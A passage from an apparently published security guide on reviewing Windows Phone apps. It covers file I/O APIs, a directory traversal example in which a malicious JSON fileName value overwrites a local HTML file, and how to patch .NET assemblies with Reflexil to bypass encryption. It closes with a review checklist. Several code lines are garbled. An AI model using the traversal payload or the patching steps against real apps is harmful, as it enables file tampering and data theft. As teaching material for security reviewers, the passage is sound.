The majority of apps tend to use the folder named Local in their app data folder to store useful data. All files in this directory (and other directories in their application data tree) are readable and writeable only by the app itself and the operating system.

An application can retrieve a StorageFolder instance for its local folder easily using the Windows.Storage API:

StorageFolder myLocalFolder = ApplicationData.Current.LocalFolder; 

An app can also retrieve the physical file path of its local folder, as well:

string localPath = StorageFolder localFolder = 
ApplicationData.Current.LocalFolder; 

The StorageFolder provides convenient APIs for creating new files and folders as shown here:

StorageFolder myLocalFolder = ApplicationData.Current.LocalFolder; 
 
// create new folder called "myFolder", overwriting a previous 
// one if it existed 
StorageFolder newFolder = await myLocalFolder.CreateFolderAsync( 
"myFolder", CreationCollisionOption.ReplaceExisting); 
 
// now create a new file named "myFile" in the newly created folder 
StorageFile myNewFile = await newFolder.CreateFileAsync( 
"myFile", CreateCollisionOption.ReplaceExisting); 

After a StorageFile object exists for a created file, data can be written to it using an API such as DataWriter using code like the following:

// create new file 
StorageFile myFile = await newFolder.CreateFileAsync("myFile", 
CreateCollisionOption.ReplaceExisting); 
 
// open with r/w access 
using (IRandomAccessStream fileStream = 
await myFile.OpenAsync(FileAccessMode.ReadWrite)) 
{ 
    using (DataWriter myDataWriter = new DataWriter(fileStream)) 
    { 
        // write our data to the file 
        myDataWriter.WriteString(contents); 
 
        // ensure contents are stored 
        await myDataWriter.StoreAsync(); 
    } 
} 

Note that the preceding CreateFileAsync() call specifies the ReplaceExisting enum; this tells the CreateFileAsync() method that an existing file with the same name should be overwritten. This is an important flag to bear in mind when auditing for potential file-handling bugs.

Alternatively, if the file to be written to already existed, a StorageFile object to the file could instead be obtained using GetFileAsync() as opposed to CreateFileAsync():

StorageFile myFile = await localFolder.GetFileAsync("myFile"); 

A file that already exists can similarly be opened to read data out from. For example, a developer could easily use the DataReader class to read the entire contents of a file like this:

StorageFolder localFolder = ApplicationData.Current.LocalFolder; 
StorageFile myFile = await localFolder.GetFileAsync("myFile"); 
 
string fileContents; 
using (IRandomAccessStream fileStream = await myFile.OpenReadAsync()) 
{ 
    using (DataReader dataReader = new DataReader(fileStream)) 
    { 
        uint textLength = (uint)fileStream.Size; 
        await datareader.LoadAsync(textLength); 
        fileContents = dataReader.ReadString(textLength); 
    } 
} 

Code with a StorageFile object can delete the corresponding file using the DeleteAsync() method:

await myFile.DeleteAsync(); 

Other useful miscellaneous APIs for handling are available, but the preceding covers the most basic patterns of file I/O: file creation, file deletion, opening, reading, and writing.

Directory Traversal Attacks

Directory (or path) traversal vulnerabilities have been quite common in server applications over the years—particularly web servers. Web apps have also been plagued with directory traversal bugs, and the consequences have ranged from file disclosure to privilege escalation by overwriting important files.

Path traversal vulnerabilities typically present themselves when filenames are attacker-influenced, and the app fails to prevent the use of “..” and “../” in the filename itself. This can represent a danger because “..” refers to the directory one level back from the current directory.

For example, an app could want to save a file, and take a partial filename from an untrusted source. As a result of no sanitization of the filename, the full filename string could end up looking like this:

 [OMITTED]LocalImages..	raversed.jpg 

The “..” portion of the filename would instruct the underlying API to place traversed.jpg in the Local folder, instead of the current folder, Images, like the application developer had intended.

Consider a hypothetical application used for managing affiliates that receives data about each of the company’s affiliates in JSON format (say, from a web service), and later uses this information for creating basic affiliate profiles, which can later be viewed in the app.

In this case, the app receives JSON, as shown here for one of its clients, Acme Corp:

{ 
  "Company": { 
    "Name": "Acme Inc", 
    "ContactNumber": "111-222-3333", 
    "CEO": "Joe Exec", 
    "CTO": "John Techie", 
    "COO": "James Operations", 
    "Logo": { 
      "URL": "http://www.acme.com/logo.jpg", 
      "fileName": "acmeLogo.jpg" 
    } 
  } 
} 

To avoid regularly downloading all logo images for each affiliate for performance and offline usage reasons, the app parses the JSON structure for each affiliate company, and downloads the company’s logo file, saving it in an images directory for later usage.

To avoid name clashes due to generic names like logo.jpg being used, the web service being called specifies a filename to use for the image file, which was earlier specified by the affiliate in the Content Disposition request it used to upload the logo to the server-side web service. This idea seems quite logical, and after the logo image file has been downloaded and loaded into a DataReader, the application attempts to save the file to its image directory in its sandboxed application data folder, LocalAffiliateLogos. Assume the code looks like this:

// download image file to a stream 
Stream imageData = await DownloadAffiliateLogo(downloadUrl); 
 
string fileName = getFilenameFromJson(affiliateData); 
 
StorageFolder myLocalFolder = ApplicationData.Current.LocalFolder; 
 
// open the folder where the logo files are stored 
StorageFolder imageFolder = await myLocalFolder.GetFolderAsync( 
                                     "AffiliateLogos"); 
 
// create new file with name supplied in json 
StorageFile imageFile = await imageFolder.CreateFileAsync(fileName, 
CreationCollisionOption.ReplaceExisting); 
 
// write the binary image data out to the new file 
using (var photoOutputStream = 
           await imageFile.OpenStreamForWriteAsync()) 
{ 
    await imageData.CopyToAsync(photoOutputStream); 
} 

This sort of code outline would work well, except that it does absolutely no sanitization of the filename string parsed out from the affiliate’s JSON data.

With a badly designed affiliate registration system in place, assume that a malicious affiliate’s JSON data ends up looking like this:

{ 
  "Company": { 
    "Name": "Acme Inc", 
    "ContactNumber": "111-222-3333", 
    "CEO": "Joe Exec", 
    "CTO": "John Techie", 
    "COO": "James Operations", 
    "Logo": { 
      "URL": "http://www.acme.com/logo.jpg", 
      "fileName": "..portal.html" 
    } 
  } 
} 

In trying to save the file to the app’s LocalAffiliateLogos folder, the app would effectively call CreateFileAsync()like this:

StorageFile imageFile = await imageFolder.CreateFileAsync( 
     "..portal.html", CreationCollisionOption.ReplaceExisting); 

This would result in the downloaded data being saved to the Local folder as portal.html, instead of in LocalAffiliateLogos like the developer had intended. Further, because CreateFileAsync()was called with the ReplaceExisting enum, any file that existed in Local named portal.html will now have been overwritten with the data that was just downloaded by the application.

In the context of this app, assume that the app at some earlier point had saved a page to Localportal.html that it uses for providing an interface in a WebBrowser control. In the hypothetical attack scenario we’ve laid out, this HTML file has now been overwritten with attacker-controlled data.

Referring to the earlier section, “Local Scripting Attacks,” you may recall that JavaScript executing in the local origin context is capable of file-stealing attacks, due to the code’s origin being the local filesystem itself. In a vulnerability scenario like this, a rogue affiliate would be in a position to steal sensitive and otherwise interesting files from the device within the application’s sandboxing restrictions.

Applications might also implement file I/O functionality which is vulnerable to path traversal attacks in other entry points that are reachable by would-be attackers, but the scenario presented in this section hopefully gives a reasonable example of a potentially dangerous situation. The moral of the story is that potentially untrusted data should not be used without sanitization for filenames, and certainly shouldn’t be allowed to contain “..” patterns.

Patching .NET Assemblies

Sometimes during an assessment of a Windows Phone app you’ll need to apply patches to the app to gain greater insight into how it works and what it’s doing internally with data. You might also need to remove superficial security controls such as screen lock password prompts and UI-based restrictions.

In these cases you can make modifications to the .NET assemblies to achieve your goal. Two very useful tools that work in conjunction together are .NET reflector and Reflexil, both of which were mentioned briefly in Chapter 10. .NET reflector is a general-purpose tool for converting a .NET assembly’s Common Intermediate Language (CIL) code to a form that is easily readable—usually C#.

Reflexil is a plug-in for .NET reflector that allows .NET assemblies to be modified and then saved with their new patches applied.

You can obtain both of these tools from their respective authors’ websites: .NET reflector at http://www.red-gate.com/products/dotnet-development/reflector/, and Reflexil at http://reflexil.net/.

Note that you’ll only be able to patch applications that have been sideloaded, because those applications do not require valid signatures. Attempts to patch and then replace Original Equipment Manufacturer (OEM) apps will fail because modification of assemblies or binaries will invalidate their signatures. Modifying a binary or assembly, repackaging it into an XAP or APPX file, and then sideloading it is feasible, however.

To gain access to .NET binaries that are installed on your device, you obviously need full filesystem access to the device, which we discussed how to obtain in Chapter 10.

Each application’s binaries are located at C:DataPrograms{GUID}Install, where {GUID} is the app’s unique identifier. In Windows Phone 8, assemblies will be DLL files, whereas in Windows 8.1 interesting binaries may be DLL files and EXE files.

After they’re patched using Reflexil or another tool, you can copy hacked assemblies back onto the device’s filesystem and despite being modified, they will execute as expected.

To serve as an example, consider an application that stores data that originated from an Internet server speaking some unknown binary protocol. The data has been parsed and processed into something useful to the app. At this point, we know from the reversed C# code that the app stores the data in an AES-encrypted form in a file in its local folder. The key used to encrypt the data was derived from data that was received from the server via this completely unknown protocol.

To get the plaintext form of the data written to disk, reverse engineering the proprietary protocol that’s being used and studying how the app is parsing the data received presumably would be necessary in any case. This annoying and time-consuming obstacle is one most researchers could ideally do without.

In this sort of scenario, your first thought is to simply patch the application so that the parsed and processed data is never encrypted in the first place, because this will give you what you want: the data in the file in its plaintext form.

Through initial inspection of the application in .NET reflector, there is an obviously named method that is disassembled to the following:

public int EncryptAndSaveData(byte[] dataBlob, byte[] key) 
{ 
    dataBlob = this.EncryptBlob(dataBlob, key); 
    this.SaveDataBlob(dataBlob); 
    return 0; 
} 

Figure 11.15 shows the output in .NET reflector.

images

Figure 11.15 EncryptAndSaveData() in .NET reflector

It’s pretty clear what this code does. It appears to call EncryptBlob(), and then save the encrypted data by calling the SaveDataBlob() method.

It’s quite evident from the recovered code that if the call to EncryptBlob() were simply removed and dataBlob were just set to a reference of itself, then the interesting plaintext data would be saved to the file instead of encrypted data, which you want to avoid dealing with.

The next step to take in figuring out how you can indeed remove the call to EncryptBlob() involves taking a look at the CIL code that Reflexil nicely recovers for you. To do this, go to Tools, and click Reflexil. Figure 11.16 shows the CIL that Reflexil has recovered.

images

Figure 11.16 Reversed CIL code in .NET reflector and Reflexil

Those familiar with assembly and other intermediate opcode languages (such as for Java) will probably notice the CIL code’s similarity.

You can fairly easily tell which parts of the disassembly are what you are looking for due to informative method names. Let’s analyze what’s going on in CIL opcode terms:

  • On line 02, ldarg.1loads the method argument at index 1 (dataBlob) onto the stack.
  • On line 03, ldarg.2 loads the method argument at index 2 (key) onto the stack.
  • On line 04, the EncryptBlob()function is called.

    These first three lines are responsible for pushing dataBlob and key to the stack to act as arguments to EncryptBlob(), which is called on line 04. Note that the arguments are pushed in the logical order: dataBlob first, and key second—contrary to the way call stacks operate in many native environments.

  • On line 05, starg.s dataBlob tries to save the reference on top of the stack into dataBlob—that is, a reference to the encrypted data that is being returned by EncryptBlob().

It may quite correctly occur to you that if the EncryptBlob() call is somehow deleted and a reference to the original plaintext dataBlob contents is at the top of the stack, the instruction at line 05 will quite nicely set dataBlob to a reference of its own original contents; that is, dataBlob = dataBlob.

To do that, just get rid of the instruction that pushes key to the stack, and remove the call to EncryptBlob(). That way, the starg.s instruction on line 05 will simply set dataBlob with dataBlob (reference-wise)— that is to say, ldarg.1 is the only push you’re interested in before the call.

Let’s test out this theory. You don’t even need to insert NOP instructions. Reflexil allows you to simply delete unwanted instructions from the CIL disassembly. Right-click line 01 and click Delete, and then do the same for line 03 and line 04. (See Figure 11.17.)

images

Figure 11.17 Deleting an instruction in Reflexil

After deleting ldarg.0, ldarg.2, and call EncryptBlob(), you’re left with only the instructions you want; that is, dataBlob = dataBlob; SaveDataBlob(dataBlob);. (See Figure 11.18.)

images

Figure 11.18 Modified CIL code after deleting instructions

Save the changes you’ve made to the assembly by right-clicking on the left-hand side in the assembly explorer; in the Reflexil submenu, click Save As, and save the file with a unique filename. Right-click the assembly and click Close Assembly.

Opening the patched assembly, as shown in Figure 11.19, you can see whether the changes came out as you wanted them to.

images

Figure 11.19 New disassembly for SaveAndEncryptData() after patching the method

Success! The patched assembly now clearly bypasses the undesired crypto code path.

In patching exercises where you need to insert new instructions or edit existing instructions, you can access the Edit and Create New functions by right-clicking Reflexil’s CIL viewer. Each function provides a pull-down menu of instructions and also allows the user to type in instructions by hand. (See Figure 11.20.)

images

Figure 11.20 Editing an existing instruction in Reflexil

Patching .NET assemblies by hand can be quite tricky, given that you must consider stack states and other aspects to avoid crashes.

When methods are more complicated and keeping track of stack states and so on is proving difficult, alternatives exist to patching solely by hand. In fact, Reflexil has some support for patching assemblies with C# code. That is, users can write code in C#, and Reflexil will compile it to CIL code to allow app patching.

To access this functionality right-click in Reflexil’s CIL display, and then click Replace All With Code.

At this point, you’ll be greeted by a C# code editor which will allow you to modify the app’s code. After you’re done, click Compile, and assuming the compile goes well, clicking OK will exit the editor and patch the assembly with the newly generated CIL code. You can save the hacked assembly as before. (See Figure 11.21.)

images

Figure 11.21 Patching a method in C#

At this point, in the context of a real app, you would copy the modified assembly onto the device in place of the original (see Chapter 10) and rerun the app as normal, with its new modifications.

This hopefully serves as an example, and not an unrealistic one in many cases. More complex cases may require further study on CIL, its instructions, and what kind of operands each instruction expects. Detailed information on CIL and its opcodes are available online, such as at this resource: http://www.codeproject .com/Articles/362076/Understanding-Common-Intermediate-Language-CIL.

Summary

This chapter aimed to provide a general introduction to identifying vulnerabilities by code review and manual testing in Windows Phone apps. When carrying out Windows Phone app reviews, the following will hopefully serve as a checklist for common vulnerability classes to check for:

  • Firstly, analyze the application for interesting entry points, including IPC endpoints, network interactions, and interactions with other devices such as Bluetooth and NFC peers
  • Check for use of insecure (non-SSL/TLS) communications, and ensure that SSL sessions are properly protected by the process of certificate trust chain validation
  • Check for vulnerability to HTML and JavaScript injection in WebBrowser and WebView components
  • Ensure that JavaScript-C# interactions are safe and that components using data communicated to C# in this way do not make assumptions about the sanity of the data
  • Analyze the functionality of IPC-like interfaces—protocol handlers and file handlers—and ensure that their functionalities are securely implemented and cannot be abused or exploited by other apps or via web pages
  • Ensure that the app does not have DTD parsing enabled such that the app could be vulnerable to file stealing and denial-of-service attacks due to entity expansion
  • If a SQLite or SQLite-derived database is used by the app, is the app vulnerable to SQL injection?
  • Check that file handling is implemented securely, and that directory traversal attacks are not possible
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.222.196.175